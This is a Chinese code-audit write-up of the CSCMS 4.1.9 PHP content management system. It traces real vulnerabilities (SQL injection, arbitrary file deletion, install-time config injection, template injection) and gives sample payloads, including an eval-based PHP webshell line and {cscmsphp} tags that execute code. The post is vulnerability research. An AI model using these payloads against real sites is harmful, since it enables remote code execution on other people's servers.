CSCMS代码审计
很久之前审的了。
文章首发于奇安信攻防社区
https://forum.butian.net/share/1626
0x00 前言
CSCMS是一款强大的多功能内容管理系统,采用php5+mysql进行开发,运用OOP(面向对象)方式进行框架搭建。CSCMS用CodeIgniter框架作为内核开发,基于MVC模式,使程序运行的速度和服务器得到很好的优化,使web平台拥有良好的兼容性和稳定性。
本文所用到的cscms版本是4.1.9, CI 框架版本为 3.1.3
0x01 全局分析
安装就不说了,phpstudy 访问install.php 点点点就好了。
目录结构:
配置文件在/upload/cscms/config目录下
index.php
为了弄清cscms的流程,来跟踪一下index.php的执行流程。
index.php是cscms的前台入口文件
<?php
/**
* @Cscms 4.x open source management system
* @copyright 2008-2015 chshcms.com. All rights reserved.
* @Author:Cheng Kai Jie
* @Dtime:2017-03-10
*/
//默认时区
date_default_timezone_set("Asia/Shanghai");
//应用环境,TRUE 打开报错,FALSE关闭报错
define('ENVIRONMENT',false);
//路径分隔符
define('FGF', DIRECTORY_SEPARATOR);//DIRECTORY_SEPARATOR => / or \
//核心路径配置
$cs_folder = 'cscms/config';
//环境报错设置
if(ENVIRONMENT == TRUE){
error_reporting(-1);
ini_set('display_errors', 1);
}else{
ini_set('display_errors', 0);
if (version_compare(PHP_VERSION, '5.3', '>=')){
error_reporting(E_ALL & ~E_NOTICE & ~E_DEPRECATED & ~E_STRICT & ~E_USER_NOTICE & ~E_USER_DEPRECATED);
}else{
error_reporting(E_ALL & ~E_NOTICE & ~E_STRICT & ~E_USER_NOTICE);
}
}
//路径常量设置
if(!defined('SELF')){
define('SELF', pathinfo(__FILE__, PATHINFO_BASENAME));
}
if(!defined('FCPATH')){
define('FCPATH', dirname(__FILE__).FGF); //dirname(__FILE__)取得当前文件所在的绝对目录
}
//CSCMS路径检测
if(is_dir($cs_folder)){
if (($_temp = realpath($cs_folder)) !== FALSE){
$cs_folder = $_temp.FGF;
}else{
$cs_folder = strtr(rtrim($cs_folder, '/\\'),'/\\',FGF.FGF).FGF;
}
}else{
header('HTTP/1.1 503 Service Unavailable.', TRUE, 503);
echo 'The kernel configuration directory is incorrect.';exit;
}
define('CSCMS', $cs_folder);
define('CSPATH', FCPATH.'cscms'.FGF);
define('CSCMSPATH', FCPATH.'packs'.FGF);
//当前运行URI
define('REQUEST_URI', str_replace(array(SELF,'//'),array('','/'),$_SERVER['REQUEST_URI']));
require_once CSCMS.'sys/Cs_Cscms.php';
定义了一些环境变量和路径常量,在一旁记录一下,方便之后查找:
FCPATH : 当前文件所在的绝对路径,这里是 C:\Users\yokan\Desktop\cmcms\upload\index.php
CSCMS : cscms/config
CSPATH : C:\Users\yokan\Desktop\cmcms\upload\cscms\
CSCMSPATH : C:\Users\yokan\Desktop\cmcms\upload\packs\
#$cs_folder = 'cscms/config';
#define('CSCMS', $cs_folder);
#define('CSPATH', FCPATH.'cscms'.FGF);
#define('CSCMSPATH', FCPATH.'packs'.FGF);
最后引入了Cs_Cscms.php文件,又定义了一些常量,以及访问主页的渲染:
$sys_folder = 'cscms/system';
$app_folder = 'cscms/app';
$tpl_folder = 'tpl';
define('BASEPATH', $sys_folder);
define('SYSDIR', basename(BASEPATH));
define('APPPATH', $app_folder.FGF);
define('VIEWPATH', $tpl_folder.FGF);
//获取当前目录路径参数
function cscms_cur_url() {
if(!empty($_SERVER["REQUEST_URI"])){
$scrtName = $_SERVER["REQUEST_URI"];
$nowurl = $scrtName;
} else {
$scrtName = $_SERVER["PHP_SELF"];
if(empty($_SERVER["QUERY_STRING"])) {
$nowurl = $scrtName;
} else {
$nowurl = $scrtName."?".$_SERVER["QUERY_STRING"];
}
}
$nowurl=str_replace("//", "/", $nowurl);
return $nowurl;
}
//获取当前URI参数
function cscms_uri($n=0){
$REQUEST_URI = substr(REQUEST_URI,0,1)=='/' ? substr(REQUEST_URI,1) : REQUEST_URI;
if(!empty($REQUEST_URI)){
$arr = explode('/', $REQUEST_URI);
if(Web_Path != '/'){
unset($arr[0]);
$arr = array_merge($arr);
}
if(!empty($arr[$n])){
return str_replace("/", "", $arr[$n]);
}
}
return '';
}
然后引入CI框架,载入框架的类、常量、函数、安全配置等:
require_once BASEPATH.'core/CodeIgniter.php';
接下来把重点关注在路由上,CodeIgniter.php引入了路由类,Router.php
Router.php
在全局分析的时候,一定要把路由搞清楚,不然后面很难将代码与功能点快速定位
代码很多,不用细看,搞懂它的路由规则就可以。
当然,CI官方文档也有现成的:URI 路由 — CodeIgniter 3.1.5 中文手册|用户手册|用户指南|中文文档
URL 中的每一段通常遵循下面的规则:
example.com/class/function/id/
例如这个url
http://192.168.111.141/index.php/dance/playsong
我们很容易定位到dance类下的playsong方法:
admin.php
后台的跳转是通过设置标志位 “IS_ADMIN=TRUE”来实现的:
admin.php:
<?php
/**
* @Cscms 4.x open source management system
* @copyright 2008-2015 chshcms.com. All rights reserved.
* @Author:Cheng Jie
* @Dtime:2014-08-01
*/
define('IS_ADMIN', TRUE); // 后台标识
define('ADMINSELF', pathinfo(__FILE__, PATHINFO_BASENAME)); // 后台文件名
define('SELF', ADMINSELF);
define('FCPATH', dirname(__FILE__).DIRECTORY_SEPARATOR); // 网站根目录
require('index.php'); // 引入主文件
index.php:
require_once CSCMS.'sys/Cs_Cscms.php';
Cs_Cscms.php
0x02 漏洞审计
熟悉完代码的大概结构之后,个人还是更喜欢通过敏感函数回溯的方法进行审计
使用 静态审计和动态调试结合进行审计。
静态源代码审计系统:rips、seay、Fotify等
动态调试:phpstorm+xdebug
SQL注入
upload/plugins/dance/playsong.php文件下的$zd变量,直接与sql语句拼接进行了查询操作
回溯一下它是怎么得到的:
找到get_post函数定义的位置:
在seay中直接右键,定位函数即可:
在phpstorm中,可以通过按两次shift键,进行搜索:
进行CS_input.php,来看一下get_post函数:
执行流程 get_post方法→get方法→fetch_from_array方法
重点来了,下面是_fetch_from_array方法的全部代码:
protected function _fetch_from_array(&$array, $index = NULL, $xss_clean = NULL, $sql_clean = FALSE)
{
is_bool($xss_clean) OR $xss_clean = $this->_enable_xss;
// If $index is NULL, it means that the whole $array is requested
isset($index) OR $index = array_keys($array);
// allow fetching multiple keys at once
if (is_array($index))
{
$output = array();
foreach ($index as $key)
{
$output[$key] = $this->_fetch_from_array($array, $key, $xss_clean);
}
return $output;
}
if (isset($array[$index]))
{
$value = $array[$index]; //$_GET[zd]
}
elseif (($count = preg_match_all('/(?:^[^\[]+)|\[[^]]*\]/', $index, $matches)) > 1) // Does the index contain array notation
{
$value = $array;
for ($i = 0; $i < $count; $i++)
{
$key = trim($matches[0][$i], '[]');
if ($key === '') // Empty notation will return the value as array
{
break;
}
if (isset($value[$key]))
{
$value = $value[$key];
}
else
{
return NULL;
}
}
}
else
{
return NULL;
}
if($xss_clean === TRUE){
//CI自带过滤XSS
$value = $this->security->xss_clean($value);
if($sql_clean === TRUE){
//过滤SQL语句
$value = safe_replace($value);
}else{
//HTML代码转义
$value = str_encode($value);
}
}
return $value;
}
}
因为前面传入的参数为:
$zd = $this->input->get_post('zd',TRUE,TRUE);
并且调用的是get方法,
所以:
$value=$_GET['zd'] #$value的值即为zd参数通过get方法传入的内容
不过因为
$sql_clean === TRUE
所以会调用safe_replace函数进行过滤,我们看看过滤了些什么:
还是phpstorm按两次shift找到它的实现位置:
可以看到,过滤和编码了一些特殊字符。
$row=$this->db->query("select id,cid,singerid,name,tid,fid,purl,sc,lrc,dhits".$zd." from ".CS_SqlPrefix."dance where id=".$id."")->row();
但是我们不需要引号去闭合,仍然可以构造sql语句去执行:
任意文件删除
后台删除附件处没做任何判断和过滤:
安装RCE
很多CMS都会存在这种漏洞,不过大多时候利用起来毕竟鸡肋,需要重新安装。
install.php
<?php
/**
* @Cscms 4.x open source management system
* @copyright 2008-2018 chshcms.com. All rights reserved.
* @Author:Cheng Kai Jie
* @Dtime:2017-03-17
*/
define('IS_INSTALL', TRUE); // 安装标识
define('ADMINSELF', pathinfo(__FILE__, PATHINFO_BASENAME)); // 文件名
define('SELF', ADMINSELF);
define('FCPATH', dirname(__FILE__).DIRECTORY_SEPARATOR); // 网站根目录
$uri = parse_url('http://cscms'.$_SERVER['REQUEST_URI']);
$path = current(explode(SELF, $uri['path']));
define("install_path",$path);
define("install_url",install_path.'install.php/');
require('index.php'); // 引入主文件
→index.php→Cs_Cscms.php
通过调试可以发现,后面的执行流程: install.php->common.php
一步步调试发现最后加载/upload/plugins/sys/Install.php
<?php if ( ! defined('BASEPATH')) exit('No direct script access allowed');
class Install extends Cscms_Controller {
function __construct(){
parent::__construct();
$this->load->helper('url');
$this->load->helper('file');
...........................................
............................................
.......................................
$this->load->helper('string');
$CS_Encryption_Key='cscms_'.random_string('alnum',10);
//修改数据库配置文件
$config=read_file(CSCMS.'sys'.FGF.'Cs_DB.php');
$config=preg_replace("/'CS_Sqlserver','(.*?)'/","'CS_Sqlserver','".$dbhost."'",$config);
$config=preg_replace("/'CS_Sqlname','(.*?)'/","'CS_Sqlname','".$dbname."'",$config);
$config=preg_replace("/'CS_Sqluid','(.*?)'/","'CS_Sqluid','".$dbuser."'",$config);
$config=preg_replace("/'CS_Sqlpwd','(.*?)'/","'CS_Sqlpwd','".$dbpwd."'",$config);
$config=preg_replace("/'CS_Dbdriver','(.*?)'/","'CS_Dbdriver','".$dbdriver."'",$config);
$config=preg_replace("/'CS_SqlPrefix','(.*?)'/","'CS_SqlPrefix','".$dbprefix."'",$config);
$config=preg_replace("/'CS_Encryption_Key','(.*?)'/","'CS_Encryption_Key','".$CS_Encryption_Key."'",$config);
if(!write_file(CSCMS.'sys'.FGF.'Cs_DB.php', $config)) exit('5');
.............................................
............................................
.........................................
匹配我们输入的一些数据库常量的值,没有过滤,然后写入Cs_DB.php文件:
比如数据库名称,我们可以直接通过拼接插马:
cscms');phpinfo();//
cscms');eval($_POST[‘cmd’]); //
查看效果:
因为cs_cscms.php中包含了cs_db.php
index.php又包含了Cs_Cscms.php
所以我们在首页即可触发:
配合上面的任意文件删除漏洞,删除掉install.lock文件,然后重新安装,即可完成RCE
前台RCE
通过seay的自动审计,定位到Csskins.php的eval函数:
// php标签处理
public function cscms_php($php,$content,$str) {
$evalstr=" return $content";
$newsphp=eval($evalstr);
$str=str_replace($php,$newsphp,$str);
return $str;
}
看一下$content参数是否可以控制。
首先看谁调用了这个方法:
seay可以用全文追踪或者全局搜索:
phpstorm可以"Alt+F7"查找使用:
定位到template_parse方法:
//解析模板
public function template_parse($str,$ts=TRUE,$if=true,$row=array()) {
if(empty($str)) msg_txt(L('skins_null'));
//解析头部、底部、左右分栏
$str = $this->topandend($str);
//会员登录框
$str=str_replace('{cscms:logkuang}',$this->logkuang(),$str);
//自定义标签
$str=$this->cscmsopt($str);
//解析全局标签
$str=$this->cscms_common($str);
//数据循环
$str=$this->csskins($str);
//数据统计标签
$str=$this->cscount($str);
//自定义字段
$field = isset($row['cscms_field']) ? $row['cscms_field'] : $row;
$str=$this->field($str,$field);
//PHP代码解析
preg_match_all('/{cscmsphp}([\s\S]+?){\/cscmsphp}/',$str,$php_arr);
if(!empty($php_arr[0])){
for($i=0;$i<count($php_arr[0]);$i++){
$str=$this->cscms_php($php_arr[0][$i],$php_arr[1][$i],$str);
}
}
unset($php_arr);
............................................
............................................
.............................................
关注PHP代码解析这块,通过preg_match_all函数匹配template_parse第一个参数$str的内容,然后调用cscmsphp,用eval进行执行。
也就是说“程序会将 {cscmsphp} 标签中包裹的代码当做 PHP 代码来执行”
因此,接下来就是全局搜索 调用template_parse方法的地方,有没有可以控制的点了:
seay直接全局搜索:
phpstorm:ctrl+shift+f
全局搜索之后,发现调用这个函数的地方有很多,但是我们要做的就是筛选出有漏洞的地方,但是什么是有漏洞的地方呢,一切输入都是有害的,所以,最好是能找到与数据库操作有关的内容,这些应该是我们要找的重点。
$Mark_Text=$this->Csskins->template_parse($Mark_Text,true);
搜索之后会发现,所有的模板大概都是这样加载的,于是我们就把重点放在了变量Mark_Text上面
挨个去看
这里找到Cstpl.php文件的plub_show方法
对视频内容的各种标签进行了解析,然后无过滤的传入了template_parse函数去执行
然后找到就去寻找谁调用了plub_show方法:
好多都可以控制输入,但是有的经过分析发现进行了过滤。
这里找到show.php文件:
这个 文件页面是用来播放视频的。
所以上传视频:
(先到后台,给权限)
对应的是plugins/vod/user/vod.php文件: save函数
选填字段,用的remove_xss进行过滤,但是该函数没有过滤掉 cscmsphp 模板注入
因此,在上传视频的选填字段,剧情简介处插入SSTI
{cscmsphp}phpinfo();{/cscmsphp}
然后访问即可触发:
类似的点还有几个,感兴趣的可以去找找。
后台RCE1
也是SSTI模板注入,只不过触发点不同,具体调用过程就不分析了,类似的点肯定还有很多。
创建个用户,设置个人签名 {cscmsphp}phpinfo(){/cscmsphp}
发现‘cscmsphp’已经被过滤掉了。
登录管理员后台,会员列表页面,可以修改会员信息
http://127.0.0.1/upload/admin.php/user/edit?id=1
写入payload如上
然后访问如下url,即可触发
http://127.0.0.1/upload/index.php/justtest/home/info
后台RCE2
修改模板 插马
html会以php解析
这里其实是黑盒测到的:
点点点浏览网站功能的时候,发现管理员后台可以修改会员主页模板:
而一些php文件里直接不加过滤的引用了这些html文件,造成解析
CSCMS代码审计的更多相关文章
- PHP代码审计中你不知道的牛叉技术点
一.前言 php代码审计如字面意思,对php源代码进行审查,理解代码的逻辑,发现其中的安全漏洞.如审计代码中是否存在sql注入,则检查代码中sql语句到数据库的传输 和调用过程. 入门php代码审计实 ...
- 技术专题-PHP代码审计
作者:坏蛋链接:https://zhuanlan.zhihu.com/p/24472674来源:知乎著作权归作者所有.商业转载请联系作者获得授权,非商业转载请注明出处. 一.前言 php代码审计如字面 ...
- 关于PHP代码审计和漏洞挖掘的一点思考
这里对PHP的代码审计和漏洞挖掘的思路做一下总结,都是个人观点,有不对的地方请多多指出. PHP的漏洞有很大一部分是来自于程序员本身的经验不足,当然和服务器的配置有关,但那属于系统安全范畴了,我不太懂 ...
- Kindeditor 代码审计
<?php /** * KindEditor PHP * * 本PHP程序是演示程序,建议不要直接在实际项目中使用. * 如果您确定直接使用本程序,使用之前请仔细确认相关安全设置. * */ r ...
- 一个CMS案例实战讲解PHP代码审计入门
前言 php代码审计介绍:顾名思义就是检查php源代码中的缺点和错误信息,分析并找到这些问题引发的安全漏洞. 1.环境搭建: 工欲善其事必先利其器,先介绍代码审计必要的环境搭建 审计环境 window ...
- php代码审计基础笔记
出处: 九零SEC连接:http://forum.90sec.org/forum.php?mod=viewthread&tid=8059 --------------------------- ...
- 【PHP代码审计】 那些年我们一起挖掘SQL注入 - 3.全局防护Bypass之Base64Decode
0x01 背景 现在的WEB程序基本都有对SQL注入的全局过滤,像PHP开启了GPC或者在全局文件common.php上使用addslashes()函数对接收的参数进行过滤,尤其是单引号.同上一篇,我 ...
- 【PHP代码审计】 那些年我们一起挖掘SQL注入 - 2.全局防护Bypass之UrlDecode
0x01 背景 现在的WEB程序基本都有对SQL注入的全局过滤,像PHP开启了GPC或者在全局文件common.php上使用addslashes()函数对接收的参数进行过滤,尤其是单引号.遇到这种情况 ...
- PHP代码审计】 那些年我们一起挖掘SQL注入 - 1.什么都没过滤的入门情况
0x01 背景 首先恭喜Seay法师的力作<代码审计:企业级web代码安全架构>,读了两天后深有感触.想了想自己也做审计有2年了,决定写个PHP代码审计实例教程的系列,希望能够帮助到新人更 ...
随机推荐
- MySQL 集群历史版本信息
MySQL 集群有两种命名方式,在Mysql5.1版本之前,MySQL 集群是以MySQL版本号命名:MySQL5.1(包括)之后开始以 mysql-mysql_server_version-ndb- ...
- Blazor 使用拖放(drag and drop)上传文件
在很多上传文件的应用实例中, 都可以看到[拖放文件到此上传]这种骚功能 ,今天我们就来试试Blazor能不能完成这个想法. 简述HTML5拖放 拖放是HTML5标准的一部分,任何元素都能够拖放,也能够 ...
- Metalama简介2.利用Aspect在编译时进行消除重复代码
上文介绍到Aspect是Metalama的核心概念,它本质上是一个编译时的AOP切片.下面我们就来系统说明一下Metalama中的Aspect. Metalama简介1. 不止是一个.NET跨平台的编 ...
- Android第十一、十二周作业
图片一 用内部存储实现文件写入和读取功能 <?xml version="1.0" encoding="utf-8"?> <LinearLayo ...
- GAIA-IR: GraphScope 上的并行化图查询引擎
在本文中,我们将介绍 GraphScope 图交互式查询引擎 GAIA-IR,它支持高效的 Gremlin 语言表达的交互图查询,同时高度抽象了图上的查询计算,具有高可扩展性. 背景介绍 在海量数据的 ...
- vite创建vue3+ts项目流程
vite+vue3+typescript搭建项目过程 vite和vue3.0都出来一段时间了,尝试一下搭vite+vue3+ts的项目 相关资料网址 vue3.0官网:https://v3.vue ...
- python学习-Day22
目录 今日内容详细 hashlib加密模块 什么是加密 加密算法 加密的使用 基本使用 指定算法(md5) 将明文数据传递给算法对象 获取加密之后的密文数据 加密补充 加盐处理 动态加盐 加密应用场景 ...
- Windows下查找各类游戏存档路径
我算是个比较爱打单机游戏的人,同时也是个半吊子的编程爱好者,有的时候会去干一些修改存档的事儿.不过这篇博文不讲存档修改技术,只讲第一步:去哪找存档? 目标:在windows10系统下搜索到游戏的存档路 ...
- 关于5G技术,这是我见过最通俗易懂的讲解了
公众号关注 「开源Linux」 回复「学习」,有我为您特别筛选的学习资料~ 1 一个简单且神奇的公式 今天的故事,从一个公式开始讲起. 这是一个既简单又神奇的公式.说它简单,是因为它一共只有 3 个字 ...
- Linux入门进阶 - 如何在Linux中使用export命令
来自:Linux迷链接:https://www.linuxmi.com/linux-export.html Linux export命令会标记哪些值需要传递给一组子进程.这是bash shell提供的 ...